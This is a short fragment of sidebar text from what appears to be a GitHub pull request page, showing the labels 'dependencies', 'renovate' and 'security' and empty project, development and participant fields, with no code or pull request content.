dependencies Pull requests that update a dependency file renovate security

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants